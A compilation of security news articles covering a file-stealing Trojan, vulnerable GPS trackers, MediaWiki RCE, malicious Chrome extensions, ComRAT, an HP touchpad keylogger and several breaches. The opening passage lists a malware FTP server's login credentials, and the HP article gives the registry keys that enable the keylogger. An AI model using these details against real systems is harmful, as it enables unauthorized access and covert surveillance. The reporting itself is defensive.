"They are often created when a program has an error in coding and crashes.
Gathering .dmp files could by a typo by the malware authors, who might have sought .bmp image files instead."
The file stolen are sent by the Trojan via FTP to the server with IP address 176.x.xxx.90 using following FTP credentials
• Username="wasitnew"
• password="qiw2e3r4t5y6."
The FTP doesn't respond since November 5th, maybe the authors are working to improve it or simply are rearranging the offensive. The post is closed with a mention to previous more sophisticated malware and the way the authors controlled them, for example hiding, using steganography methods, the command strings inside images sent to the agents.
"Since 2008 we have seen image files carrying embedded image files within. Malware authors sometimes hide their commands behind an image file using steganography."
Waiting for further interesting revelations … let's keep updated our defense systems.
| Malware |
Flaws in Over Half a Million GPS Trackers Expose Children Location Data | https://thehackernews.com/2019/09/gps-tracking-device-for-kids.html | What if the tech intended to ensure that your kids, senior citizens, and pets are safe even when they're out of sight inadvertently expose them to stalkers?
An estimated 600,000 GPS tracking devices for sale on Amazon and other large online merchants for $25–$50 have been found vulnerable to a handful of dangerous vulnerabilities that may have exposed user's real-time locations, security researchers have claimed.
Cybersecurity researchers from Avast discovered that 29 models of GPS trackers made by Chinese technology company Shenzhen i365 for keeping tabs on young children, elderly relatives, and pets contain a number of security vulnerabilities.
Moreover, all over half a million tracking devices were shipped with the same default password of "123456," leaving an opportunity for attackers to easily access tracking information for those who never changed the default password.
Vulnerabilities in GPS Tracking Devices
The reported GPS tracking device vulnerabilities could enable remote attackers with just an Internet connection to:
track real-time GPS coordinates of the device's wearer,
falsify location data of the device to give an inaccurate reading, and
access the devices' microphone for eavesdropping.
Most of the discovered vulnerabilities rely on the fact that the communication between 'GPS trackers and the Cloud,' 'Cloud and the device's companion mobile Apps,' and 'Users and the device's web-based application'—all use unencrypted plain text HTTP protocol, allowing MiTM attackers to intercept exchanged data and issue unauthorized commands.
"All the communications in the web application go over HTTP. All the JSON requests are again unencrypted and in plaintext," researchers explain in a detailed report.
"You can make the tracker call an arbitrary phone number and once connected, you can listen through the tracker the other party without their knowledge. The communication is text-based protocol, and the most concerning thing is the lack of authorization. The whole thing works just by identifying the tracker by its IMEI."
Spying On Real-Time GPS Location With An SMS
Besides this, researchers also found that remote attackers can also obtain real-time GPS coordinates of a target device just by sending an SMS to the phone number associated with the SIM card (inserted into the device) which provides DATA+SMS capabilities to the device.
Though attackers first need to know the associated phone number and password of the tracker to carry out this attack, researchers said one can exploit cloud/mobile app related flaws to command the tracker send an SMS to an arbitrary phone number on behalf of itself, allowing an attacker to obtain the phone number of the device.
Now, with access to the device's phone number and password being '123456' for almost all devices, the attacker can use the SMS as an attack vector.
Analysis of the T8 Mini GPS Tracker Locator by the researchers also found that its users were directed to an unsecured website to download the device's companion mobile app, exposing the users' information.
Over Half-A-Million People Using Affected GPS Trackers
The affected models of GPS trackers include T58, A9, T8S, T28, TQ, A16, A6, 3G, A18, A21, T28A, A12, A19, A20, A20S, S1, P1, FA23, A107, RomboGPS, PM01, A21P, PM02, A16X, PM03, WA3, P1-S, S6, and S9.
Though the manufacturer of these GPS trackers, Shenzhen i365, is based in China, Avast's analysis found that these GPS trackers are widely used in the United States, Europe, Australia, South America, and Africa.
The researchers said it privately notified the vendor of the critical security vulnerabilities on June 24 and reached the company out multiple times, but never got a response.
Martin Hron, senior researcher at Avast, said:
"We have done our due diligence in disclosing these vulnerabilities to the manufacturer, but since we have not heard back after the standard window of time, we are now issuing this public service announcement to consumers and strongly advise you to discontinue use of these devices."
Researchers also advised people to do part of their research and choose a secured device from a respected vendor, rather than go for any cheap equipment from an unknown company on Amazon, eBay, or other online markets.
| Vulnerability |
MediaWiki Remote Code Execution vulnerability leaves Wikipedia open for Cyber attacks | https://thehackernews.com/2014/01/mediawiki-remote-code-execution.html | The Encyclopedia giant WIKIPEDIA has been found vulnerable to remote code execution because of a critical flaw in the MediaWiki software.
Wikipedia is a name which has become a major source of information for all of us. It has webpages on almost every topic you need to search.
This giant is powered by an open source wiki software called MediaWiki. MediaWiki not only empowers Wikipedia, but also a number of other wiki websites. This software is a product of the Wikimedia Foundation and is coded in PHP with a database as backend.
Cyber Point Software Technologies found a remote code execution vulnerability in MediaWiki, "This vulnerability affects all versions of MediaWiki from 1.8 onwards."
The vulnerability assigned with ID CVE-2014-1610 allows an attacker to execute shell code remotely via an incorrectly sanitized parameter on the MediaWiki application server.
"Shell meta characters can be passed in the page parameter to the thumb.php." Bug 60339.
MediaWiki announced Security Releases 1.22.2, 1.21.5 and 1.19.11, "Your MediaWiki installation is affected by a remote code execution vulnerability if you have enabled file upload support for DjVu (natively supported by MediaWiki) or PDF files (in combination with the PdfHandler extension). Neither file type is enabled by default in MediaWiki installations. If you are affected, we strongly urge you to update immediately."
Key Findings: The vulnerability might have caused Wikipedia's web servers a malicious content distributor, if left uncovered.
"Check Point promptly alerted the WikiMedia Foundation to the presence of this vulnerability, and after verifying it the Foundation released a software update to correct the issue."
An update was released from the Wikimedia Foundation after knowing about the vulnerability from Check Point. This is the 3rd 'remote code execution' vulnerability reported in MediaWiki Platform, since 2006.
"It only takes a single vulnerability on a widely adopted platform for a hacker to infiltrate and wreak widespread damage," says Dorit Dor, vice president of products, Check Point Software Technologies. Check Point's Vulnerability Research Group assesses common software to ensure the security of Internet users.
MediaWiki 's latest version 1.22.2 Stable is fully patched to defend against this flaw, and Wikipedia is now also upgraded to it.
Since almost all cyber security enthusiasts are putting efforts in finding security loopholes in the products available on the Internet, that has put Open source technology to the highest priority in terms of security testing.
| Cyber_Attack |
Beware - Gaddafi malware on Internet | https://thehackernews.com/2011/10/beware-gaddafi-malware-on-internet.html | Beware - Gaddafi malware on Internet
As is not unusual when big news breaks, malware authors try to take advantage of the situation.A global computer virus that hides in an email about Gaddafi's death has been detected by Norman. The malware was caught in its worldwide network of spam traps.
The email below was sent to a mailing list that receives information pertaining to the Uighur people. The mail appears to have been sent from Korea.
Malicious hackers have spammed out an attack posing as pictures of Gaddafi's death, tricking users into believing that they came from the AFP news agency and are being forwarded by a fellow internet user.
As unlikely as the legitimacy of these emails may seem - in this case, the latest photos being forwarded to you in an email attachment - the news is often just too interesting for people to ignore.
Internet users are advised to avoid opening the email and updating or applying their security settings.
| Malware |
Over 20 Million Users Installed Malicious Ad Blockers From Chrome Store | https://thehackernews.com/2018/04/adblocker-chrome-extention.html | If you have installed any of the below-mentioned Ad blocker extension in your Chrome browser, you could have been hacked.
A security researcher has spotted five malicious ad blockers extension in the Google Chrome Store that had already been installed by at least 20 million users.
Unfortunately, malicious browser extensions are nothing new. They often have access to everything you do online and could allow its creators to steal any information victims enter into any website they visit, including passwords, web browsing history and credit card details.
Discovered by Andrey Meshkov, co-founder of Adguard, these five malicious extensions are copycat versions of some legitimate, well-known Ad Blockers.
Creators of these extensions also used popular keywords in their names and descriptions to rank top in the search results, increasing the possibility of getting more users to download them.
"All the extensions I've highlighted are simple rip-offs with a few lines of code and some analytics code added by the authors," Meshkov says.
After Meshkov reported his findings to Google on Tuesday, the tech giant immediately removed all of the following mentioned malicious ad blockers extension from its Chrome Store:
AdRemover for Google Chrome™ (10 million+ users)
uBlock Plus (8 million+ users)
[Fake] Adblock Pro (2 million+ users)
HD for YouTube™ (400,000+ users)
Webutation (30,000+ users)
Meshkov downloaded the 'AdRemover' extension for Chrome, and after analyzing it, he discovered that malicious code hidden inside the modified version of jQuery, a well-known JavaScript library, sends information about some websites a user visits back to a remote server.
Also Read: Someone Hijacks A Popular Chrome Extension to Push Malware
The malicious extension then receives commands from the remote server, which are executed in the extension 'background page' and can change your browser's behavior in any way.
To avoid detection, these commands send by the remote server are hidden inside a harmless-looking image.
"These commands are scripts which are then executed in the privileged context (extension's background page) and can change your browser behavior in any way," Meshkov says.
"Basically, this is a botnet composed of browsers infected with the fake Adblock extensions," Meshkov says. "The browser will do whatever the command center server owner orders it to do."
The researcher also analyzed other extensions on the Chrome Store and found four more extensions using similar tactics.
Also Read: Malicious Chrome Extension Hijacks CryptoCurrencies and Wallets
Since browser extension takes permission to access to all the web pages you visit, it can do practically anything.
So, you are advised to install as few extensions as possible and only from companies you trust.
| Malware |
Update Your Windows PCs to Patch 117 New Flaws, Including 9 Zero-Days | https://thehackernews.com/2021/07/update-your-windows-pcs-to-patch-117.html | Microsoft rolled out Patch Tuesday updates for the month of July with fixes for a total of 117 security vulnerabilities, including nine zero-day flaws, of which four are said to be under active attacks in the wild, potentially enabling an adversary to take control of affected systems.
Of the 117 issues, 13 are rated Critical, 103 are rated Important, and one is rated as Moderate in severity, with six of these bugs publicly known at the time of release.
The updates span across several of Microsoft's products, including Windows, Bing, Dynamics, Exchange Server, Office, Scripting Engine, Windows DNS, and Visual Studio Code. July also marks a dramatic jump in the volume of vulnerabilities, surpassing the number Microsoft collectively addressed as part of its updates in May (55) and June (50).
Chief among the security flaws actively exploited are as follows —
CVE-2021-34527 (CVSS score: 8.8) - Windows Print Spooler Remote Code Execution Vulnerability (publicly disclosed as "PrintNightmare")
CVE-2021-31979 (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability
CVE-2021-33771 (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability
CVE-2021-34448 (CVSS score: 6.8) - Scripting Engine Memory Corruption Vulnerability
Microsoft also stressed the high attack complexity of CVE-2021-34448, specifically stating that the attacks hinge on the possibility of luring an unsuspecting user into clicking on a link that leads to a malicious website hosted by the adversary and contains a specially-crafted file that's engineered to trigger the vulnerability.
The other five publicly disclosed, but not exploited, zero-day vulnerabilities are listed below —
CVE-2021-34473 (CVSS score: 9.1) - Microsoft Exchange Server Remote Code Execution Vulnerability
CVE-2021-34523 (CVSS score: 9.0) - Microsoft Exchange Server Elevation of Privilege Vulnerability
CVE-2021-33781 (CVSS score: 8.1) - Active Directory Security Feature Bypass Vulnerability
CVE-2021-33779 (CVSS score: 8.1) - Windows ADFS Security Feature Bypass Vulnerability
CVE-2021-34492 (CVSS score: 8.1) - Windows Certificate Spoofing Vulnerability
"This Patch Tuesday comes just days after out-of-band updates were released to address PrintNightmare — the critical flaw in the Windows Print Spooler service that was found in all versions of Windows," Bharat Jogi, senior manager of vulnerability and threat research at Qualys, told The Hacker News.
"While MSFT has released updates to fix the vulnerability, users must still ensure that necessary configurations are set up correctly. Systems with misconfigurations will continue to be at risk of exploitation, even after the latest patch has been applied. PrintNightmare was a highly serious issue that further underscores the importance of marrying detection and remediation," Jogi added.
The PrintNightmare vulnerability has also prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to release an emergency directive, urging federal departments and agencies to apply the latest security updates immediately and disable the print spooler service on servers on Microsoft Active Directory Domain Controllers.
Additionally, Microsoft also rectified a security bypass vulnerability in Windows Hello biometrics-based authentication solution (CVE-2021-34466, CVSS score: 5.7) that could permit an adversary to spoof a target's face and get around the login screen.
Other critical flaws remediated by Microsoft include remote code execution vulnerabilities affecting Windows DNS Server (CVE-2021-34494, CVSS score 8.8) and Windows Kernel (CVE-2021-34458), the latter of which is rated 9.9 on the CVSS severity scale.
"This issue allows a single root input/output virtualization (SR-IOV) device which is assigned to a guest to potentially interfere with its Peripheral Component Interface Express (PCIe) siblings which are attached to other guests or to the root," Microsoft noted in its advisory for CVE-2021-34458, adding Windows instances hosting virtual machines are vulnerable to this flaw.
To install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates.
Software Patches From Other Vendors
Alongside Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including —
Adobe
Android
Apache Tomcat
Cisco
Citrix
Juniper Networks
Linux distributions SUSE, Oracle Linux, and Red Hat
SAP
Schneider Electric
Siemens, and
VMware
| Vulnerability |
New Bluetooth Flaws Let Attackers Impersonate Legitimate Devices | https://thehackernews.com/2021/05/new-bluetooth-flaws-let-attackers.html | Adversaries could exploit newly discovered security weaknesses in Bluetooth Core and Mesh Profile Specifications to masquerade as legitimate devices and carry out man-in-the-middle (MitM) attacks.
"Devices supporting the Bluetooth Core and Mesh Specifications are vulnerable to impersonation attacks and AuthValue disclosure that could allow an attacker to impersonate a legitimate device during pairing," the Carnegie Mellon CERT Coordination Center said in an advisory published Monday.
The two Bluetooth specifications define the standard that allows for many-to-many communication over the short-range wireless technology to facilitate data transfer between devices in an ad-hoc network.
The Bluetooth Impersonation AttackS, aka BIAS, enable a malicious actor to establish a secure connection with a victim, without having to know and authenticate the long-term key shared between the victims, thus effectively bypassing Bluetooth's authentication mechanism.
"The BIAS attacks are the first uncovering issues related to Bluetooth's secure connection establishment authentication procedures, adversarial role switches, and Secure Connections downgrades," the researchers said. "The BIAS attacks are stealthy, as Bluetooth secure connection establishment does not require user interaction."
"To confirm that the BIAS attacks are practical, we successfully conduct them against 31 Bluetooth devices (28 unique Bluetooth chips) from major hardware and software vendors, implementing all the major Bluetooth versions, including Apple, Qualcomm, Intel, Cypress, Broadcom, Samsung, and CSR."
In addition, four separate flaws have been uncovered in Bluetooth Mesh Profile Specification versions 1.0 and 1.0.1. A summary of the flaws is as follows -
CVE-2020-26555 - Impersonation in Bluetooth legacy BR/EDR pin-pairing protocol (Core Specification 1.0B through 5.2)
CVE-2020-26558 - Impersonation in the Passkey entry protocol during Bluetooth LE and BR/EDR secure pairing (Core Specification 2.1 through 5.2)
N/A - Authentication of the Bluetooth LE legacy pairing protocol (Core Specification 4.0 through 5.2)
CVE-2020-26556 - Malleable commitment in Bluetooth Mesh Profile provisioning (Mesh profile 1.0 and 1.0.1)
CVE-2020-26557 - Predictable AuthValue in Bluetooth Mesh Profile provisioning (Mesh profile 1.0 and 1.0.1)
CVE-2020-26559 - Bluetooth Mesh Profile AuthValue leak (Mesh profile 1.0 and 1.0.1)
CVE-2020-26560 - Impersonation attack in Bluetooth Mesh Profile provisioning (Mesh profile 1.0 and 1.0.1)
"Our attacks work even when the victims are using Bluetooth's strongest security modes, e.g., SSP and Secure Connections. Our attacks target the standardized Bluetooth authentication procedure, and are therefore effective against any standard compliant Bluetooth device," the researchers said.
The Android Open Source Project (AOSP), Cisco, Cradlepoint, Intel, Microchip Technology, and Red Hat are among the identified vendors with products impacted by these security flaws. AOSP, Cisco, and Microchip Technology said they are currently working to mitigate the issues.
"Cradlepoint was notified of the BLE vulnerabilities prior to public disclosure. We have a production release of our NetCloud OS code available (NCOS version 7.21.40) that fixes the cited issues," the company told The Hacker News over email. "As a result, we consider this security vulnerability remediated."
The Bluetooth Special Interest Group (SIG), the organization that oversees the development of Bluetooth standards, has also issued security notices for each of the six flaws. Bluetooth users are recommended to install the latest recommended updates from device and operating system manufacturers as and when they are available.
| Malware |
Google Researcher Releases iOS Exploit—Could Enable iOS 11 Jailbreak | https://thehackernews.com/2017/12/ios11-jailbreak-exploit.html | As promised last week, Google's Project Zero researcher Ian Beer now publicly disclosed an exploit that works on almost all 64-bit Apple devices running iOS 11.1.2 or earlier, which can be used to build an iOS jailbreak, allowing users to run apps from non-Apple sources.
On Monday morning, Beer shared the details on the exploit, dubbed "tfp0," which leveraged double-free memory corruption vulnerabilities in the kernel, the core of the operating system.
Here, "tfp0" stands for "task for pid 0" or the kernel task port—which gives users full control over the core of the operating system.
The Project Zero researcher responsibly reported these vulnerabilities to Apple in October, which were patched by the company with the release of iOS 11.2 on 2nd December.
While Beer says he has successfully tested his proof of concept exploit on the iPhone 6s and 7, and iPod Touch 6G, he believes that his exploit should work on all 64-bit Apple devices.
Another security researcher confirmed that the exploit released by Beer also works on his Apple TvOS 11.x and TV 4K running iOS 11.1.2.
What's worse? Since Apple's iOS mobile operating system and macOS desktop operating system share the same code base, the kernel for macOS is also vulnerable to the bug, according to a report published by Project Zero on Google's Chromium Blog.
Beer said he has also successfully tested the vulnerability on macOS 10.13, running on a MacBook Air 5.2, which Apple patched in macOS 10.13.1.
Earlier versions of the operating systems are still vulnerable to the exploit, which basically grants complete core access to the operating system and that is really what the jailbreak community requires.
Although we have not heard any news about iOS jailbreaks from the jailbreak community from very long, Beer's exploit could be the basis for a future iOS 11 jailbreak, allowing iPhone and iPad users to install third-party OS customizations via apps that are restricted by Apple.
If iOS 11.1.2 jailbreak surfaces in upcoming days, you can still downgrade to iOS 11.1.2 using iTunes even if you have updated to iOS 11.2 because Apple is still signing the operating system.
| Vulnerability |
Warning : Java 6 vulnerable to zero-day exploit; added to Neutrino exploit kit | https://thehackernews.com/2013/08/Java-6-zero-day-Neutrino-exploit-kit.html | Hackers are using a new exploit for a bug in the out-of-date but popular Java 6 platform to attack victims, and has been added to a commercially available Neutrino exploit kit.
The use of Java 6 still is prevalent, opening up a significant number of users to the threat. F-secure analyst Timo Hirvonen warned about the exploit over Twitter, advising that he had found an exploit in the wild actively targeting an unpatched vulnerability in Java 6, named CVE-2013-2463.
The exploit's proof-of-concept was made public last week, prior to in-the-wild attacks surfacing on Monday. Oracle is aware of the hole but, since Java 6 is no longer supported, the company will not patch the issue.
The vulnerability lies in Java Runtime Environment's 2D sub-component, which is used to make two-dimensional graphics. Because no patch is available, the exploits provides cybercriminals and other attackers an effective vehicle to launch attacks targeting users and organizations using Java 6.
The Neutrino crimeware kit was first spotted in March 2013, when it was identified as the source of a series of attacks that were exploiting Java vulnerabilities to install ransomware on victims' PCs, freezing them until users paid a fine that was supposedly being levied by the FBI and other law enforcement agencies.
The impact of this threat may be less for usual Internet users than for organizations/entities, who may not be quick to migrate to the latest software version due to business and/or operational continuity issues.
Users should update their Java installations to the latest revision of version 7, which does not suffer from the issue. Users who don't need Java in their everyday tasks should uninstall the software altogether.
| Vulnerability |
Yahoo! pays $24,000 to Hacker for finding Security Vulnerabilities | https://thehackernews.com/2015/03/yahoo-bug-bounty.html | Yahoo! has offered $24,000 to a security researcher for finding out and reporting three critical security vulnerabilities in its products including Yahoo! Stores and Yahoo!-hosted websites.
While testing all the company's application, Mark Litchfield, a bug bounty hunter who often works with different companies, discovered three critical vulnerabilities in Yahoo!'s products. All the three vulnerabilities have now been fixed by Yahoo!.
THREE CRITICAL SECURITY VULNERABILITIES
The first and most critical vulnerability gives hackers full administrator access to Yahoo!'s e-commerce platform, Yahoo! Small Business, a portal that allows small business owners to create their own web stores through Yahoo! and sell merchandise.
According to the researcher, the flaw in the service allowed him to fully administrator any Yahoo store and thereby gain access to customers' personally identifiable information, including names, email addresses, telephone numbers.
BUG ALLOWS FREE SHOPPING
Beside allowing hackers full admin access to the web stores, the vulnerability could also leverage an attacker to rig a user-run eCommerce web store to let them shop for free, or at a huge discount, Litchfield claimed.
"We could also shop for free by either changing the prices, or creating our own discount code," Litchfield said in an email describing the attack. "Also, we could place an order, then once received, go and refund our money."
A separate but related vulnerability in Yahoo! Stores, second flaw discovered by Litchfield, allows an unauthorized user to edit Yahoo-hosted stores through the app, thereby creating a means for hackers to hijack an online website store.
Last but not the least, Litchfield discovered a critical vulnerability in Yahoo's Small Business portal that allows hackers to seize administrative access to Yahoo!-hosted websites and gain full, unauthorized access to them.
The Internet giant patched all the three bugs two weeks ago after Litchfield publicly released details and proof of concepts for the exploits on Bug Bounty HQ, a community for Bug Bounties website, established by Litchfield last month for fellow hunters to share their findings.
'ON DEMAND PASSWORD'
At recent SXSW session, Yahoo! launched 'on-demand passwords,' which it says will eliminate the need for you to ever remember your email password. Whenever you need it, the company will send you a OTP (one time password) via SMS to your mobile phone.
It's sort of two-factor authentication—without the first factor involved, as there is no need of any log-in password to enter by a user. In order to opt-in for the feature follow some simple steps:
Sign in to your Yahoo email account.
Click on your name at the top right corner to access your account information page.
Choose Security in the sidebar.
Click on the slider for on-demand passwords, in order to opt-in.
Enter your phone number and Yahoo will send you a verification code.
Enter the code.
Now, next time whenever you will sign in into your email account, Yahoo will send a password via an SMS to your phone when you need it.
Also, the end-to-end email encryption that Yahoo! promised will be available soon by the end of this year. The company gave its first demonstration of the locked down messaging system at SXSW session, and it is also delivering early source code for security researchers to analyze.
| Vulnerability |
New ComRAT Malware Uses Gmail to Receive Commands and Exfiltrate Data | https://thehackernews.com/2020/05/gmail-malware-hacker.html | Cybersecurity researchers today uncovered a new advanced version of ComRAT backdoor, one of the earliest known backdoors used by the Turla APT group, that leverages Gmail's web interface to covertly receive commands and exfiltrate sensitive data.
"ComRAT v4 was first seen in 2017 and known still to be in use as recently as January 2020," cybersecurity firm ESET said in a report shared with The Hacker News. "We identified at least three targets: two Ministries of Foreign Affairs in Eastern Europe and a national parliament in the Caucasus region."
Turla, also known as Snake, has been active for over a decade with a long history of the watering hole and spear-phishing campaigns against embassies and military organizations at least since 2004.
The group's espionage platform started off as Agent.BTZ, in 2007, before it evolved to ComRAT, in addition to gaining additional capabilities to achieve persistence and to steal data from a local network.
It is now known that earlier versions of Agent.BTZ were responsible for infecting US military networks in the Middle East in 2008. In recent years, Turla is said to have been behind the compromise of French Armed Forces in 2018 and the Austrian Foreign Ministry early this year.
Newer versions of ComRAT backdoor have since ditched Agent. BTZ's USB-stick infection mechanism in favor of injecting itself into every process of the infected machine and executing its primary payload in "explorer.exe."
What's New in ComRAT v4?
The ComRAT v4 (or "Chinch" by the malware authors), as the new successor is called, uses an entirely new code base and is far more complex than its earlier variants, according to ESET. The firm said the first known sample of the malware was detected in April 2017.
ComRAT is typically installed via PowerStallion, a lightweight PowerShell backdoor used by Turla to install other backdoors. In addition, the PowerShell loader injects a module called ComRAT orchestrator into the web browser, which employs two different channels — a legacy and an email mode — to receive commands from a C2 server and exfiltrate information to the operators.
"The main use of ComRAT is discovering, stealing, and exfiltrating confidential documents," the researchers said. "In one case, its operators even deployed a .NET executable to interact with the victim's central MS SQL Server database containing the organization's documents."
What's more, all the files related to ComRAT, with the exception of the orchestrator DLL and the scheduled task for persistence, are stored in a virtual file system (VFS).
The "mail" mode works by reading the email address and the authentication cookies located in the VFS, connecting to the basic HTML view of Gmail, and parsing the inbox HTML page (using Gumbo HTML parser) to get the list of emails with subject lines that match those in a "subject.str" file in the VFS.
For each email that meets the above criteria, the comRAT proceeds by downloading the attachments (e.g. "document.docx," "documents.xlsx"), and deleting the emails to avoid processing them a second time.
Despite the ".docx" and ".xlsx" format in the filenames, the attachments are not documents themselves, but rather encrypted blobs of data that include a specific command to be executed: read/write files, execute additional processes, and gather logs.
In the final stage, the results of the command execution are encrypted and stored in an attachment (with the double extension ".jpg.bfe"), which is then sent as an email to a target address specified in the "answer_addr.str" VFS file.
The "legacy" mode, on the other hand, makes use of the already existing C2 infrastructure (ComRAT v3.x) to issue remote commands, the results of which are compressed and transmitted to a cloud service such as Microsoft OneDrive or 4Shared.
The exfiltrated data comprises user details and security-related log files to check if their malware samples were detected during a scan of the infected systems.
Based on the Gmail email distribution patterns over a one-month period, ESET said the operators behind the campaign are working in the UTC+3 or UTC+4 time zones.
"Version four of ComRAT is a totally revamped malware family released in 2017," ESET researcher Matthieu Faou said. "Its most interesting features are the Virtual File System in FAT16 format and the ability to use the Gmail web UI to receive commands and exfiltrate data. Thus, it is able to bypass some security controls because it doesn't rely on any malicious domain."
| Malware |
Apache Struts 2 Flaws Affect Multiple Cisco Products | https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html | After Equifax massive data breach that was believed to be caused due to a vulnerability in Apache Struts, Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework.
Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS.
However, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities—one discovered earlier this month, and another in March—one of which is believed to be used to breach personal data of over 143 million Equifax users.
Some of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws.
Cisco Launches Apache Struts Vulnerability Hunting
Cisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) we reported on September 5 and the remaining three also disclosed last week.
However, the remote code execution bug (CVE-2017-5638) that was actively exploited back in March this year is not included by the company in its recent security audit.
The three vulnerabilities—CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805—included in the Cisco security audit was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues.
The fourth vulnerability (CVE-2017-12611) that is being investigated by Cisco was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system.
Apache Struts Flaw Actively Exploited to Hack Servers & Deliver Malware
Coming on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them.
This could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has observed that this flaw is under active exploitation to find vulnerable servers.
Security researchers from data centre security vendor Imperva recently detected and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload.
The majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe.
Out of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to "insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application."
This flaw has been given a Medium severity and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems.
The last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts.
Cisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services.
At the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the Cisco Bug Search Tool.
Since the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.
| Data_Breaches |
Pre-Installed Keylogger Found On Over 460 HP Laptop Models | https://thehackernews.com/2017/12/hp-laptop-keylogger.html | HP has an awful history of 'accidentally' leaving keyloggers onto its customers' laptops. At least two times this year, HP laptops were caught with pre-installed keylogger or spyware applications.
I was following a tweet made by a security researcher claiming to have found a built-in keylogger in several HP laptops, and now he went public with his findings.
A security researcher who goes by the name of ZwClose discovered a keylogger in several Hewlett-Packard (HP) laptops that could allow hackers to record your every keystroke and steal sensitive data, including passwords, account information, and credit card details.
The Keylogger was found embedded in the SynTP.sys file, a part of Synaptics touchpad driver that ships with HP notebook computers, leaving more than 460 HP Notebook models vulnerable to hackers.
Although the keylogger component is disabled by default, hackers can make use of available open source tools for bypassing User Account Control (UAC) to enable built-in keylogger "by setting a registry value."
Here's the location of the registry key:
HKLM\Software\Synaptics\%ProductName%
HKLM\Software\Synaptics\%ProductName%\Default
The researcher reported the keylogger component to HP last month, and the company acknowledges the presence of keylogger, saying it was actually "a debug trace" which was left accidentally, but has now been removed.
"A potential security vulnerability has been identified with certain versions of Synaptics touchpad drivers that impact all Synaptics OEM partners," HP says in its advisory, calling the keylogger as a potential, local loss of confidentiality.
"A party would need administrative privileges in order to take advantage of the vulnerability. Neither Synaptics nor HP has access to customer data as a result of this issue."
The company has released a Driver update for all the affected HP Notebook Models. If you own an HP laptop, you can look for updates for your model. The list of affected HP notebooks can be found at the HP Support website.
This is not the very first time when a keylogger has been detected in HP laptops. In May this year, a built-in keylogger was found in an HP audio driver that was silently recording all of its users' keystrokes and storing them in a human-readable file.
| Malware |
Chrome, Firefox, Java, IE10 exploited at Pwn2Own competition | https://thehackernews.com/2013/03/chrome-firefox-java-ie10-exploited-at.html | During the first day of Pwn2Own competition at the CanSecWest conference in Vancouver , latest versions of all major browsers were exploited by hackers.
Chrome, Firefox and Internet Explorer 10 on Windows 8 were successfully pwned by various competitors, bringing them tens of thousands of dollars in prizes.
French vulnerability research and bug selling firm 'Vupen' brought down IE10 running on a Windows 8 powered Surface Pro tablet by exploiting a pair of flaws.
Researchers Jon Butler and Nils from MWR Labs managed to exploit Google Chrome on Windows 7 and also used a kernel bug to bypass the sandbox.
"By visiting a malicious webpage, it was possible to exploit a vulnerability which allowed us to gain code execution in the context of the sandboxed renderer process. We also used a kernel vulnerability in the underlying operating system in order to gain elevated privileges and to execute arbitrary commands outside of the sandbox with system privileges." they said. For this pwn they received $100,000 as reward.
The Java was also killed in Pwn2Own, Java cracked up to three times by three different hackers. Vupen also managed to exploit a vulnerability in Java, "Writing exploits in general is getting much harder. Java is really easy because there's no sandbox."
According to the participants, Chrome was the hardest target because of its sandbox and Java was the easiest target this year.
| Vulnerability |
British Airways Hacked – 380,000 Payment Cards Compromised | https://thehackernews.com/2018/09/british-airways-data-breach.html | British Airways, who describes itself as "The World's Favorite Airline," has confirmed a data breach that exposed personal details and credit-card numbers of up to 380,000 customers and lasted for more than two weeks.
So who exactly are victims?
In a statement released by British Airways on Thursday, customers booking flights on its website (ba.com) and British Airways mobile app between late 21 August and 5 September were compromised.
The airline advised customers who made bookings during that 15 days period and believe they may have been affected by this incident to "contact their banks or credit card providers and follow their recommended advice."
British Airways stated on its Twitter account that personal details stolen in the breach included their customers' names and addresses, along with their financial information, but the company assured its customers that the hackers did not get away with their passport numbers or travel details.
The company also said that saved cards on its website and mobile app are not compromised in the breach. Only cards that have been used by you to make booking payments during the affected period are stolen.
"We are investigating, as a matter of urgency, the theft of customer data from our website and our mobile app," the company said in a statement. "The stolen data did not include travel or passport details."
Although the statement released by the did not mention the number of affected customers, the company's spokesperson confirmed to the media that some 380,000 payment cards were compromised in the breach.
Also currently, it is not clear how the data breach occurred, but some media outlets are reporting that the breach was identified when "a third party noticed some unusual activity" and informed the company about it.
